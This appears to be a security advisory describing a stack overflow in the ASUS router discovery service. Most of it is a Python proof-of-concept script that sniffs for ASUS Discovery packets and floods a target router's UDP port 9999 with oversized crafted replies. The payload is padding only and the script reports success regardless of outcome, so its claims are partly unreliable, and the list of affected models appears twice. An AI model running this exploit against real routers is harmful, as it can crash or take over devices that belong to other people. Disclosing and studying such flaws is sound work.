Vulnerability Description
When an ASUS router discovers another router device, it does not buffer the size of all discovered devices when it is added to the device list to cause a stack overflow, resulting in a remote code/command execution vulnerability. The vulnerability code is as follows:
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/ASUS_Discovery.c#L184-L202
Vulnerability Details
Affected Vendor:
RT-AC5300,RT_AC1900P,RT-AC68U,RT-AC68P,RT-AC88U, RT-AC66U,RT-AC66U_B1,RT-AC58U,RT-AC56U,RT-AC55U,RT-AC52U,RT-AC51U, RT-N18U,RT-N66U,RT-N56U,RT-AC3200,RT-AC3100,RT_AC1200GU, RT_AC1200G,RT-AC1200,RT-AC53,RT-N12HP,RT-N12HP_B1,RT-N12D1, RT-N12+,RT_N12+_PRO,RT-N16,RT-N300 and Asuswrt-Merlin(https://github.com/RMerl/asuswrt-merlin) RT-AC5300,RT_AC1900P,RT-AC68U,RT-AC68P,RT-AC88U, RT-AC66U,RT-AC66U_B1,RT-AC58U,RT-AC56U,RT-AC55U,RT-AC52U,RT-AC51U, RT-N18U,RT-N66U,RT-N56U,RT-AC3200,RT-AC3100,RT_AC1200GU, RT_AC1200G,RT-AC1200,RT-AC53,RT-N12HP,RT-N12HP_B1,RT-N12D1, RT-N12+,RT_N12+_PRO,RT-N16,RT-N300 and Asuswrt-Merlin(https://github.com/RMerl/asuswrt-merlin)
Affected Product:
ASUS Wireless Router
Affected Version:
all the latest firmware
Platform: router
Impact:
Remote Command/Code Execution
POC
<<<EOF
# coding=utf-8
import time
import socket
import sys
import os
import threading
import struct
import random
import time
''' Please run PoC first, and it must run on windows '''
class ASUSDiscoveryBufferOverflow:
""" set remote host and remote port to use exp """
def __init__(self, RHOST, RPORT, LHOST):
self.RHOST = RHOST
self.RPORT = RPORT
self.LHOST = LHOST
def exploit(self):
""" execute exploit """
self.searchDevice()
self.sentShellCode()
def searchDevice(self, socket_prot = socket.IPPROTO_UDP):
""" search ASUS Discovery packet """
print(" [-] try to search ASUS Discovery packet")
while(True):
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_prot)
sniffer.bind((self.LHOST, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
if os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
pkt, hosts = sniffer.recvfrom(65565)
if self.RHOST == hosts[0] and '\x11' == pkt[9]:
if (pkt[28] == '\x0C' and
pkt[29] == '\x15' and
pkt[30] == '\x1F' ):
print(" [+] bingo!")
break
def sentShellCode(self):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for i in range(15):
s.sendto(self.makeShellCode(), (self.RHOST, self.RPORT))
print(" [-] sent %d cycle" % (i + 1))
time.sleep(0.2)
def generatingRandomMacAddr(self):
tmp1 = random.randint(0, 0xff)
tmp2 = random.randint(0, 0xff)
tmp3 = random.randint(0, 0xff)
tmp4 = random.randint(0, 0xff)
tmp5 = random.randint(0, 0xff)
tmp6 = random.randint(0, 0xff)
return struct.pack('6B', \
tmp1, tmp2, tmp3, tmp4, tmp5, tmp6)
def makeShellCode(self):
shellcode = "\x0c\x16\x1f\x00" # HEADER [ PLEASE NOT MODIFY ]
shellcode += (128 * b'A') # PKT_GET_INFO.PrinterInfo
shellcode += (32 * b'A') # PKT_GET_INFO.SSID
shellcode += (32 * b'A') # PKT_GET_INFO.NetMask
shellcode += (32 * b'A') # PKT_GET_INFO.ProductID
shellcode += (16 * b'A') # PKT_GET_INFO.FirmwareVersion
shellcode += b'A' # PKT_GET_INFO.OperationMode
shellcode += self.generatingRandomMacAddr() # PKT_GET_INFO.MacAddress
shellcode += (261 * b'A') #
return shellcode
def main():
poc = ASUSDiscoveryBufferOverflow('192.168.2.1', 9999, '127.0.0.1')
print("[+] Try to use exploit ...")
poc.exploit()
print("[+] use exploit sucessful.")
if __name__ == '__main__':
main()
EOF;